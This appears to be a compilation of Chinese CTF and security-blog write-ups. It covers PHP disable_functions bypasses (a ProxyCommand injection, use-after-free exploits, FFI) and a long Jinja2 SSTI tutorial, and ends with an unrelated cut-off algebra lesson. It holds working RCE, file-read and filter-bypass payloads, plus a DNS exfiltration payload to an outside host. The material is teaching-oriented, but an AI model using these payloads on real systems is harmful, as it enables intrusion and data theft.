我们可以发现其中使用了%09来绕过空格,以base64的形式来执行我们的命令,那么我这里再验证一下:
hostname=x+-oProxyCommand%3decho%09bHM%2BdGVzdAo%3D|base64%09-d|sh}&username=111&password=222 //ls>test
会发现成功写入了一个test,漏洞利用成功,那么接下来就是各种肆意妄为了。
三种UAF
EXP在:https://github.com/mm0r1/exploits
三种uaf分别是:
Json Serializer UAF
GC UAF
Backtrace UAF
关于uaf的利用因为涉及到二进制相关的知识,而笔者是个web狗,因此暂时只会用exp打打,因此这里就不多说,就暂时先稍微提一下三种uaf的利用版本及其概述//其实我就是照搬了exp里面的说明,读者可以看exp作者的说明就行了。
Json Serializer UAF
漏洞出现的版本在于:
7.1 - all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)
漏洞利用json在序列化中的堆溢出触发bypass,漏洞为https://bugs.php.net/bug.php?id=77843
GC UAF
漏洞出现的版本在于:
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date
漏洞利用的是php garbage collector(垃圾收集器)程序中的堆溢出达成bypass,漏洞为:https://bugs.php.net/bug.php?id=72530
Backtrace UAF
漏洞出现的版本在于:
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 < 7.3.15 (released 20 Feb 2020)
7.4 < 7.4.3 (released 20 Feb 2020)
漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为https://bugs.php.net/bug.php?id=76047
利用
利用的话exp或者蚁剑上都有利用插件了,这里不多讲,可以上ctfhub测试。
SplDoublyLinkedList UAF
概述
这个UAF是在先知上看到的,引用https://xz.aliyun.com/t/8355来概述:
可以看到,删除元素的操作被放在了置空 traverse_pointer 指针前。
所以在删除一个对象时,我们可以在其构析函数中通过 current 访问到这个对象,也可以通过 next 访问到下一个元素。如果此时下一个元素已经被删除,就会导致 UAF。
PHP 部分(仅在 7.4.10、7.3.22、7.2.34 版本测试)
exp
exp同样出自原文。
php部分:
<?php error_reporting(0); $a = str_repeat("T", 120 * 1024 * 1024); function i2s(&$a, $p, $i, $x = 8) { for($j = 0;$j < $x;$j++) { $a[$p + $j] = chr($i & 0xff); $i >>= 8; } } function s2i($s) { $result = 0; for ($x = 0;$x < strlen($s);$x++) { $result <<= 8; $result |= ord($s[$x]); } return $result; }
python部分:
# -*- coding:utf8 -*- import requests import base64 import time import urllib from libnum import n2s def bomb1(_url): content = None count = 1 addr = 0x7f0000000000 # change here and bomb1() in php if failed while True: try: addr = addr + 0x10000000 / 2 if count % 100 == 0: print "[+]Bomb " + str(co
ffi扩展
ffi扩展笔者初见于TCTF/0CTF 2020中的easyphp,当时是因为非预期解拿到flag发现了ffi三个字母才了解到php7.4中多了ffi这种东西。
原理
PHP FFI(Foreign Function interface),提供了高级语言直接的互相调用,而对于PHP而言,FFI让我们可以方便的调用C语言写的各种库。
也即是说我们可以通过ffi来调用c语言的函数从而绕过disable的限制,我们可以简单使用一个示例来体会一下:
$ffi = FFI::cdef("int system(const char *command);"); $ffi->system("whoami >/tmp/1"); echo file_get_contents("/tmp/1"); @unlink("/tmp/1");
输出如下:
那么这种利用方式可能出现的场景还不是很多,因此笔者稍微讲解一下。
首先是cdef:
$ffi = FFI::cdef("int system(const char *command);");
这一行是创建一个ffi对象,默认就会加载标准库,以本行为例是导入system这个函数,而这个函数理所当然是存在于标准库中,那么我们若要导入库时则可以以如下方式:
$ffi = FFI::cdef("int system(const char *command);","libc.so.6");
可以看看其函数原型:
FFI::cdef([string $cdef = "" [, string $lib = null]]): FFI
取得了ffi对象后我们就可以直接调用函数了:
$ffi->system("whoami >/tmp/1");
之后的代码较为简单就不多讲,那么接下来看看实际应用该从哪里入手。
利用
以tctf的题目为例,题目直接把cdef过滤了,并且存在着basedir,但我们可以使用之前说过bypass basedir来列目录,逐一尝试能够发现可以使用glob列根目录目录:
<?php $c = "glob:///*"; $a = new DirectoryIterator($c); foreach($a as $f){ echo($f->__toString().'<br>'); } ?>
可以发现根目录存在着flag.h跟so:
因为后面环境没有保存,笔者这里简单复述一下当时题目的情况(仅针对预期解)。
发现了flag.h之后查看ffi相关文档能够发现一个load方法可以加载头文件。
于是有了如下:
$ffi = FFI::load("/flag.h");
但当我们想要打印头文件来获取其内存在的函数时会尴尬的发现如下:
我们无法获取到存在的函数结构,因此也就无法使用ffi调用函数,这一步路就断了,并且cdef也被过滤了,无法直接调用system函数,但查看文档能够发现ffi中存在着不少与内存相关的函数,因此存在着内存泄露的可能,这里借用飘零师傅的exp:
import requests url = "http://pwnable.org:19261" params = {"rh": ''' try { $ffi=FFI::load("/flag.h"); //get flag //$a = $ffi->flag_wAt3_uP_apA3H1(); //for($i = 0; $i < 128; $i++){ echo $a[$i]; //} $a = $ffi->new("char[8]", false); $a[0] = 'f'; $a[1] = 'l'; $a[2] = 'a'; $a[3] = 'g'; $a[4] = 'f'; $a[5
获取到函数名后直接调用函数然后把结果打印出来即可:
$a = $ffi->flag_wAt3_uP_apA3H1(); for($i=0;$i<100;$i++){ echo $a[$i]; }
相关实验:https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014092310094200001(通过本实验学会通过宽字节方式绕过mysql_real_escape_string()、addslashes()这两个函数。)
细说Jinja2之SSTI&bypass
前言
SSTI(Server-Side Template Injection)服务端模板注入在CTF中并不是一个新颖的考点了,之前略微学习过,但是最近的大小比赛比如说安洵杯,祥云杯,太湖杯,南邮CTF,上海大学生安全竞赛等等比赛都频频出现,而且赛后看到师傅们各种眼花缭乱的payload,无法知晓其中的原理,促使我写了这篇文章来总结各种bypass SSTI的方法。
基础知识
本篇文章从Flask的模板引擎Jinja2入手,CTF中大多数也都是使用这种模板引擎
模板的基本语法
官方文档对于模板的语法介绍如下
{% ... %} for Statements {{ ... }} for Expressions to print to the template output {# ... #} for Comments not included in the template output # ... ## for Line Statements
这里我们逐条来看
{%%}
主要用来声明变量,也可以用于条件语句和循环语句。
{% set c= 'kawhi' %} {% if 81==9*9 %}kawhi{% endif %} {% for i in ['1','2','3'] %}kawhi{%endfor%}
{{}}
用于将表达式打印到模板输出,比如我们一般在里面输入2-1,2*2,或者是字符串,调用对象的方法,都会渲染出结果
{{2-1}} #输出1 {{2*2}} #输出4
我们通常会用{{2*2}}简单测试页面是否存在SSTI
{##}
表示未包含在模板输出中的注释
##
有和{%%}相同的效果
这里的模板注入主要用到的是{{}}和{%%}
常见的魔术方法
__class__
用于返回对象所属的类
Python 3.7.8 >>> ''.__class__ <class 'str'> >>> ().__class__ <class 'tuple'> >>> [].__class__ <class 'list'>
__base__
以字符串的形式返回一个类所继承的类
__bases__
以元组的形式返回一个类所继承的类
__mro__
返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类
Python 3.7.8 >>> class Father(): ... def __init__(self): ... pass ... >>> class GrandFather(): ... def __init__(self): ... pass ... >>> class son(Father,GrandFather): ... pass ... >>> print(son.__base__) <class '__main__.Father'> >>> print(son.__bases__) (<class '__main__.Father'>, <class '__main__.
__subclasses__()
获取类的所有子类
__init__
所有自带带类都包含init方法,常用他当跳板来调用globals
__globals__
会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用
漏洞成因与防御
存在模板注入漏洞原因有二,一是存在用户输入变量可控,二是了使用不固定的模板,这里简单给出一个存在SSTI的代码如下
ssti.py
from flask import Flask,request,render_template_string app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): name = request.args.get('name') template = ''' <html> <head> <title>SSTI</title> </head> <body> <h3>Hello, %s !</h3> </body> </html> '''% (name) return render_template_s
我们简单输入一个{{2-1}},返回了1,说明存在模板注入
而如果存在SSTI的话,我们就可以利用上面的魔术方法去构造可以读文件或者直接getshell的漏洞
如何拒绝这种漏洞呢,其实很简单只需要使用固定的模板即可,正确的代码应该如下
ssti2.py
from flask import Flask,request,render_template app = Flask(__name__) @app.route('/', methods=['GET', 'POST']) def index(): return render_template("index.html",name=request.args.get('name')) if __name__ == "__main__": app.run(host="0.0.0.0", port=5000, debug=True)
index.html
<html> <head> <title>SSTI</title> </head> <body> <h3>Hello, {{name}} !</h3> </body> </html>
可以看到原封不动的输出了{{2-1}}
构造链思路
这里从零开始介绍如何去构造SSTI漏洞的payload,可以用上面存在SSTI漏洞的ssti.py做实验
第一步
目的:使用__class__来获取内置类所对应的类
可以通过使用str,list,tuple,dict等来获取
Python 3.7.8 >>> ''.__class__ <class 'str'> >>> "".__class__ <class 'str'> >>> [].__class__ <class 'list'> >>> ().__class__ <class 'tuple'> >>> {}.__class__ <class 'dict'>
第二步
目的:拿到object基类
用__bases__[0]拿到基类
Python 3.7.8 >>> ''.__class__.__bases__[0] <class 'object'>
用__base__拿到基类
Python 3.7.8 >>> ''.__class__.__base__ <class 'object'>
用__mro__[1]或者__mro__[-1]拿到基类
Python 3.7.8 >>> ''.__class__.__mro__[1] <class 'object'> >>> ''.__class__.__mro__[-1] <class 'object'>
第三步
用__subclasses__()拿到子类列表
Python 3.7.8 >>> ''.__class__.__bases__[0].__subclasses__() ...一大堆的子类
第四步
在子类列表中找到可以getshell的类
寻找利用类
在上述的第四步中,如何快速的寻找利用类呢
利用脚本跑索引
我们一般来说是先知晓一些可以getshell的类,然后再去跑这些类的索引,然后这里先讲述如何去跑索引,再详写可以getshell的类
这里先给出一个在本地遍历的脚本,原理是先遍历所有子类,然后再遍历子类的方法的所引用的东西,来搜索是否调用了我们所需要的方法,这里以popen为例子
find.py
search = 'popen' num = -1 for i in ().__class__.__bases__[0].__subclasses__(): num += 1 try: if search in i.__init__.__globals__.keys(): print(i, num) except: pass
我们运行这个脚本
λ python3 find.py <class 'os._wrap_close'> 128
可以发现object基类的第128个子类名为os._wrap_close的这个类有popen方法
先调用它的__init__方法进行初始化类
Python 3.7.8 >>> "".__class__.__bases__[0].__subclasses__()[128].__init__ <function _wrap_close.__init__ at 0x000001FCD0B21E58>
再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值
Python 3.7.8 >>> "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__ {'__name__': 'os'...中间省略...<class 'os.PathLike'>}
然后就可以调用其中的popen来执行命令
Python 3.7.8 >>> "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read() 'desktop-t6u2ptl\\think\n'
但是上面的方法仅限于在本地寻找,因为在做CTF题目的时候,我们无法在题目环境中运行这个find.py,这里用hhhm师傅的一个脚本直接去寻找子类
我们首先把所有的子类列举出来
Python 3.7.8 >>> ().__class__.__bases__[0].__subclasses__() ...一大堆的子类
然后把子类列表放进下面脚本中的a中,然后寻找os._wrap_close这个类
find2.py
import json a = """ <class 'type'>,...,<class 'subprocess.Popen'> """ num = 0 allList = [] result = "" for i in a: if i == ">": result += i allList.append(result) result = "" elif i == "\n" or i == ",": continue else: result += i for k,v in enumerate(allList): if "os._wrap_close" in v: print(str(k)+
又或者用如下的requests脚本去跑
find3.py
import requests import time import html for i in range(0,300): time.sleep(0.06) payload="{{().__class__.__mro__[-1].__subclasses__()[%s]}}" % i url='http://ip:5000?name=' r = requests.post(url+payload) if "catch_warnings" in r.text: print(r.text) print(i) break
tips:后面的各种方法都是利用这种思路寻找到可以getshell类的位置
python3的方法
os._wrap_close类中的popen
在上面的例子中就是用的这个方法,payload如下
{{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()}}
__import__中的os
把上面find.py脚本中的search变量换成__import__
λ python3 find.py <class '_frozen_importlib._ModuleLock'> 75 <class '_frozen_importlib._DummyModuleLock'> 76 <class '_frozen_importlib._ModuleLockManager'> 77 <class '_frozen_importlib._installed_safely'> 78 <class '_frozen_importlib.ModuleSpec'> 79
可以看到有5个类下是包含__import__的,随便用一个即可
payload如下
{{"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__import__('os').popen('whoami').read()}}
python2的方法
因为python3和python2两个版本下有差别,这里把python2单独拿出来说
tips:python2的string类型不直接从属于属于基类,所以要用两次 __bases__[0]
Python 2.7.10 >>> ''.__class__.__bases__[0] <type 'basestring'> >>> ''.__class__.__bases__[0].__bases__[0] <type 'object'>
file类读写文件
本方法只能适用于python2,因为在python3中file类已经被移除了
>>> [].__class__.__bases__[0].__subclasses__()[40] <type 'file'>
可以使用dir查看file对象中的内置方法
>>> dir(().__class__.__bases__[0].__subclasses__()[40]) ['__class__', '__delattr__', '__doc__', '__enter__', '__exit__', '__format__', '__getattribute__', '__hash__', '__init__', '__iter__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook
然后直接调用里面的方法即可,payload如下
读文件
{{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()}} {{().__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').readlines()}}
warnings类中的linecache
本方法只能用于python2,因为在python3中会报错'function object' has no attribute 'func_globals',猜测应该是python3中func_globals被移除了还是啥的,如果不对请师傅们指出
我们把上面的find.py脚本中的search变量赋值为linecache,去寻找含有linecache的类
λ python find.py (<class 'warnings.WarningMessage'>, 59) (<class 'warnings.catch_warnings'>, 60)
后面如法炮制,payload如下
{{[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].os.popen('whoami').read()}}
python2&3的方法
这里介绍python2和python3两个版本通用的方法
__builtins__代码执行
这种方法是比较常用的,因为他两种python版本都适用
首先__builtins__是一个包含了大量内置函数的一个模块,我们平时用python的时候之所以可以直接使用一些函数比如abs,max,就是因为__builtins__这类模块在Python启动时为我们导入了,可以使用dir(__builtins__)来查看调用方法的列表,然后可以发现__builtins__下有eval,__import__等的函数,因此可以利用此来执行命令。
把上面find.py脚本search变量赋值为__builtins__,然后找到第140个类warnings.catch_warnings含有他,而且这里的话比较多的类都含有__builtins__,比如常用的还有email.header._ValueFormatter等等,这也可能是为什么这种方法比较多人用的原因之一吧
再调用eval等函数和方法即可,payload如下
{{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}} {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}} {{().__class__.__bases__[0
又或者用如下两种方式,用模板来跑循环
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()") }}{% endif %}{% endfor %} {% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
读取文件payload
{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}
然后这里再提一个比较少人提到的点
warnings.catch_warnings类在在内部定义了_module=sys.modules['warnings'],然后warnings模块包含有__builtins__,也就是说如果可以找到warnings.catch_warnings类,则可以不使用globals,payload如下
{{''.__class__.__mro__[1].__subclasses__()[40]()._module.__builtins__['__import__']("os").popen('whoami').read()}}
总而言之,原理都是先找到含有__builtins__的类,然后再进一步利用
subprocess.Popen进行RCE
我们可以用find2.py寻找subprocess.Popen这个类,可以直接RCE,payload如下
{{''.__class__.__mro__[2].__subclasses__()[258]('whoami',shell=True,stdout=-1).communicate()[0].strip()}}
直接利用os
一开始我以为这种方法只能用于python2,因为我在本地实验的时候python3中无法找到直接含有os的类,但后来发现python3其实也是能够用的,主要是环境里面有这个那个类才行
我们把上面的find.py脚本中的search变量赋值为os,去寻找含有os的类
λ python find.py (<class 'site._Printer'>, 69) (<class 'site.Quitter'>, 74)
后面如法炮制,payload如下
{{().__class__.__base__.__subclasses__()[69].__init__.__globals__['os'].popen('whoami').read()}}
获取配置信息
我们有时候可以使用flask的内置函数比如说url_for,get_flashed_messages,甚至是内置的对象request来查询配置信息或者是构造payload
config
我们通常会用{{config}}查询配置信息,如果题目有设置类似app.config ['FLAG'] = os.environ.pop('FLAG'),就可以直接访问{{config['FLAG']}}或者{{config.FLAG}}获得flag
request
jinja2中存在对象request
Python 3.7.8 >>> from flask import Flask,request,render_template_string >>> request.__class__.__mro__[1] <class 'object'>
查询一些配置信息
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config}}
构造ssti的payload
{{request.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}} {{request.application.__globals__['__builtins__'].open('/etc/passwd').read()}}
url_for
查询配置信息
{{url_for.__globals__['current_app'].config}}
构造ssti的payload
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
get_flashed_messages
查询配置信息
{{get_flashed_messages.__globals__['current_app'].config}}
构造ssti的payload
{{get_flashed_messages.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
绕过黑名单
CTF中一般考的就是怎么绕过SSTI,我们学会如何去构造payload之后,还要学习如何去绕过一些过滤,然后下面由于环境的不同,payload中类的位置也是就那个数字可能会和文章中不一样,需要自己动手测一下
过滤了点
过滤了.
在python中,可用以下表示法可用于访问对象的属性
{{().__class__}} {{()["__class__"]}} {{()|attr("__class__")}} {{getattr('',"__class__")}}
也就是说我们可以通过[],attr(),getattr()来绕过点
使用[]绕过
使用访问字典的方式来访问函数或者类等,下面两行是等价的
{{().__class__}} {{()['__class__']}}
以此,我们可以构造payload如下
{{()['__class__']['__base__']['__subclasses__']()[433]['__init__']['__globals__']['popen']('whoami')['read']()}}
使用attr()绕过
使用原生JinJa2的函数attr(),以下两行是等价的
{{().__class__}} {{()|attr('__class__')}}
以此,我们可以构造payload如下
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(65)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("whoami").read()')}}
使用getattr()绕过
这种方法有时候由于环境问题不一定可行,会报错'getattr' is undefined,所以优先使用以上两种
Python 3.7.8 >>> ().__class__ <class 'tuple'> >>> getattr((),"__class__") <class 'tuple'>
过滤引号
过滤了'和"
request绕过
flask中存在着request内置对象可以得到请求的信息,request可以用5种不同的方式来请求信息,我们可以利用他来传递参数绕过
request.args.name request.cookies.name request.headers.name request.values.name request.form.name
payload如下
GET方式,利用request.args传递参数
{{().__class__.__bases__[0].__subclasses__()[213].__init__.__globals__.__builtins__[request.args.arg1](request.args.arg2).read()}}&arg1=open&arg2=/etc/passwd
POST方式,利用request.values传递参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.values.arg1](request.values.arg2).read()}} post:arg1=open&arg2=/etc/passwd
Cookie方式,利用request.cookies传递参数
{{().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__.__builtins__[request.cookies.arg1](request.cookies.arg2).read()}} Cookie:arg1=open;arg2=/etc/passwd
剩下两种方法也差不多,这里就不赘述了
chr绕过
{{().__class__.__base__.__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
这里先爆破subclasses,获取subclasses中含有chr的类索引
然后就可以用chr来绕过传参时所需要的引号,然后需要用chr来构造需要的字符
这里我写了个脚本可以快速构造想要的ascii字符
<?php $a = 'whoami'; $result = ''; for($i=0;$i<strlen($a);$i++) { $result .= 'chr('.ord($a[$i]).')%2b'; } echo substr($result,0,-3); ?> //chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)
最后payload如下
{% set chr = ().__class__.__base__.__subclasses__()[7].__init__.__globals__.__builtins__.chr %}{{().__class__.__base__.__subclasses__()[257].__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
过滤下划线
过滤了_
编码绕过
使用十六进制编码绕过,_编码后为\x5f,.编码后为\x2E
payload如下
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbases\x5f\x5f"][0]["\x5f\x5fsubclasses\x5f\x5f"]()[376]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]['popen']('whoami')['read']()}}
这里甚至可以全十六进制绕过,顺便把关键字也一起绕过,这里先给出个python脚本方便转换
string1="__class__" string2="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" def tohex(string): result = "" for i in range(len(string)): result=result+"\\x"+hex(ord(string[i]))[2:] print(result) tohex(string1) #\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f print(string2) #__class__
随便构造个payload如下
{{""["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x5f\x5f"]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[64]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d
request绕过
在上面的过滤引号已经介绍过了,这里不再赘述
过滤关键字
首先要看关键字是如何被过滤的
如果是替换为空,可以尝试双写绕过,或者使用黑名单逻辑漏洞错误绕过,即使用黑名单最后一个关键字替换绕过
如果直接ban了,就可以使用字符串拼接的方式等方法进行绕过,常用方法如下
拼接字符绕过
这里以过滤class为例子,用中括号括起来然后里面用引号连接,可以用+号或者不用
{{()['__cla'+'ss__'].__bases__[0]}} {{()['__cla''ss__'].__bases__[0]}}
随便写个payload如下
{{()['__cla''ss__'].__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['ev''al']("__im""port__('o''s').po""pen('whoami').read()")}}
或者可以使用join来进行拼接
{{()|attr(["_"*2,"cla","ss","_"*2]|join)}}
看到有师傅甚至用管道符加上format方法来拼接的骚操作,也就是我们平时说的格式化字符串,其中的%s被l替换
{{()|attr(request.args.f|format(request.args.a))}}&f=__c%sass__&a=l
使用使用str原生函数
replace绕过,payload如下
{{().__getattribute__('__claAss__'.replace("A","")).__bases__[0].__subclasses__()[376].__init__.__globals__['popen']('whoami').read()}}
decode绕过,但这种方法经过测试只能在python2下使用,payload如下
{{().__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
替代的方法
过滤init,可以用__enter__或__exit__替代
{{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}} {{().__class__.__bases__[0].__subclasses__()[213].__exit__.__globals__['__builtins__']['open']('/etc/passwd').read()}}
过滤config,我们通常会用{{config}}获取当前设置,如果被过滤了可以使用以下的payload绕过
{{self}} ⇒ <TemplateReference None> {{self.__dict__._TemplateReference__context}}
过滤中括号
过滤了[和]
数字中的中括号
在python里面可以使用以下方法访问数组元素
Python 3.7.8 >>> ["a","kawhi","c"][1] 'kawhi' >>> ["a","kawhi","c"].pop(1) 'kawhi' >>> ["a","kawhi","c"].__getitem__(1) 'kawhi'
也就是说可以使用__getitem__和pop替代中括号,取列表的第n位
payload如下
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(433).__init__.__globals__.popen('whoami').read()} {{().__class__.__base__.__subclasses__().pop(433).__init__.__globals__.popen('whoami').read()}}
魔术方法的中括号
调用魔术方法本来是不用中括号的,但是如果过滤了关键字,要进行拼接的话就不可避免要用到中括号,像这里如果同时过滤了class和中括号
可用__getattribute__绕过
{{"".__getattribute__("__cla"+"ss__").__base__}}
或者可以配合request一起使用
{{().__getattribute__(request.args.arg1).__base__}}&arg1=__class__
payload如下
{{().__getattribute__(request.args.arg1).__base__.__subclasses__().pop(376).__init__.__globals__.popen(request.args.arg2).read()}}&arg1=__class__&arg2=whoami
这种同样是绕过关键字的方法之一
过滤双大括号
过滤了{{和}}
使用dns外带数据
用{%%}替代了{{}},使用判断语句进行dns外带数据
{% if ().__class__.__base__.__subclasses__()[433].__init__.__globals__['popen']("curl `whoami`.k1o75b.ceye.io").read()=='kawhi' %}1{% endif %}
然后在ceye平台接收数据即可
盲注
如果上面的方法不行的话,可以考虑使用盲注的方式,这里附上p0师傅的脚本
# -*- coding: utf-8 -*- import requests url = 'http://ip:5000/?name=' def check(payload): r = requests.get(url+payload).content return 'kawhi' in r password = '' s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%' for i in xrange(0,100): for c in
print标记
我们上面之所以要dnslog外带数据以及使用盲注,是因为用{%%}会没有回显,这里的话可以使用print来做一个标记使得他有回显,比如{%print config%},payload如下
{%print ().__class__.__bases__[0].__subclasses__()[40].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")%}
payload进阶与拓展
这里我基于上面绕过黑名单各种方法的组合,对CTF中用到的一些方法和payload再做一个小的总结,不过其实一般来说,只要不是太偏太绕的题,上面的方法自行组合一下都够用了,下面只是作为一个拓展
过滤_和.和'
这里顺便给一个不常见的方法,主要是找到_frozen_importlib_external.FileLoader的get_data()方法,第一个是参数0,第二个为要读取的文件名,payload如下
{{().__class__.__bases__[0].__subclasses__()[222].get_data(0,"app.py")}}
使用十六进制绕过后,payload如下
{{()["\x5f\x5fclass\x5f\x5f"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[222]["get\x5Fdata"](0, "app\x2Epy")}}
过滤args和.和_
之前安恒二月赛在y1ng师傅博客看到的一个payload,原理并不难,这里使用了attr()绕过点,values绕过args,payload如下
{{()|attr(request['values']['x1'])|attr(request['values']['x2'])|attr(request['values']['x3'])()|attr(request['values']['x4'])(40)|attr(request['values']['x5'])|attr(request['values']['x6'])|attr(request['values']['x4'])(request['values']['x7'])|attr(request['values']['x4'])(request['values']['x8'])
导入主函数读取变量
有一些题目我们不并需要去getshell,比如flag直接暴露在变量里面了,像如下这样把/flag文件加载到flag这个变量里面了
f = open('/flag','r') flag = f.read()
我们就可以通过import是导入__main__主函数去读变量,payload如下
{%print request.application.__globals__.__getitem__('__builtins__').__getitem__('__import__')('__main__').flag %}
Unicode绕过
这种方法是从https://xz.aliyun.com/t/8581#toc-4学到的,我们直奔主题看payload
{%print(lipsum|attr(%22\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f%22))|attr(%22\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f%22)(%22os%22)|attr(%22popen%22)(%22whoami%22)|attr(%22read%22)()%}
这里的print绕过{{}}和attr绕过.上面已经说过了这里不赘述
然后这里的lipsum用{{lipsum}}测了一下发现是个方法
<function generate_lorem_ipsum at 0x7fcddfa296a8>
然后用他直接调用__globals__发现可以直接执行os命令,测了一下发现__builtins__也可以用,又学到了一种新方法,只能说师傅们tql
{{lipsum.__globals__['os'].popen('whoami').read()}} {{lipsum.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}
回到正题,这里使用了Unicode编码绕过关键字,下面两行是等价的
{{()|attr("__class__")}} {{()|attr("\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f")}}
知道了这两点之后,那个官方给的payload就很明朗了,解开编码后如下
{%print(lipsum|attr("__globals__"))|attr("__getitem__")("os")|attr("popen")("whoami")|attr("read")()%}
然后我这里顺便给个Unicode互转的php脚本
<?php //字符串转Unicode编码 function unicode_encode($strLong) { $strArr = preg_split('/(?<!^)(?!$)/u', $strLong);//拆分字符串为数组(含中文字符) $resUnicode = ''; foreach ($strArr as $str) { $bin_str = ''; $arr = is_array($str) ? $str : str_split($str);//获取字符内部数组表示,此时$arr应类似array(228, 189, 160) foreach ($arr as $value)
魔改字符
这种方法是在太湖杯easyWeb这道题目学到的,上面所说的过滤双大括号,在一些特定的题目可以魔改{{}},比如说这道题由于有个字符规范器可以把我们输入的文本标准化,所以可以使用这种方法
可以在Unicode字符网站寻找绕过的字符,直接在网址搜索{,就会出现类似的字符,就可以找到︷和︸了,网址:https://www.compart.com/en/unicode/U+FE38
payload如下
︷︷config︸︸ %EF%B8%B7%EF%B8%B7config%EF%B8%B8%EF%B8%B8
还可以使用中文的字符魔改
{ { } } [ [ ] ] ' ' " "
payload如下
{{url_for.__globals__['__builtins__']['eval']('__import__("os").popen("cat /flag").read()')}}
总结
因为水平和文章篇幅有限,可能还有一些bypass方法没有提到,还有就是CTF中也不只考Jinja2这种模板,还有另外的Twig模板,smart等模板,这些就等以后有必要再更吧,最后就是有不足之处请各位师傅指出
相关实验:https://www.yijinglab.com/expc.do?w=exp_ass&ec=ECID87ed-2223-40e5-8083-f5c55d69af28 (通过该实验了解服务端模板注入漏洞的危害与利用。)
参考连接
https://p0sec.net/index.php/archives/120/https://www.jianshu.com/p/a736e39c3510https://www.redmango.top/article/43https://xz.aliyun.com/t/8029https://xz.aliyun.com/t/7746
不学点《近世代数》怎么学好现代密码学
前言:
前面介绍了RSA公钥加密算法,而在公钥加密体系中,另一类重要的加密体制是基于离散对数的难解性,如ECC椭圆曲线加密、Diffie-Hellman算法、ElGamal算法等。为了解决离散对数问题,我们需要先学习《近世代数》。
本文涉及知识点实操练习——https://www.yijinglab.com/cour.do?w=1&c=c990c65e-108f-4d10-9efa-4aad77fc852b(密码学是研究如何隐密地传递信息的学科。在现代特别指对信息以及其传输的数学性研究,常被认为是数学和计算机科学的分支,和信息论也密切相关。密码学是信息安全等相关议题,如认证、访问控制的核心。)
代数基本知识:
1.群
2.环
3.域
4.有限域GF()
5.多项式环```
群:
定义:
设G是非空集合,若在G内定义一种代数运算$\bigodot$,且满足下列4个条件,则称G(对运算$\bigodot$)构成一个群:
(1) 封闭性:对任意的a,b $\epsilon$ G,恒有 a$\bigodot$b $\epsilon$ G;
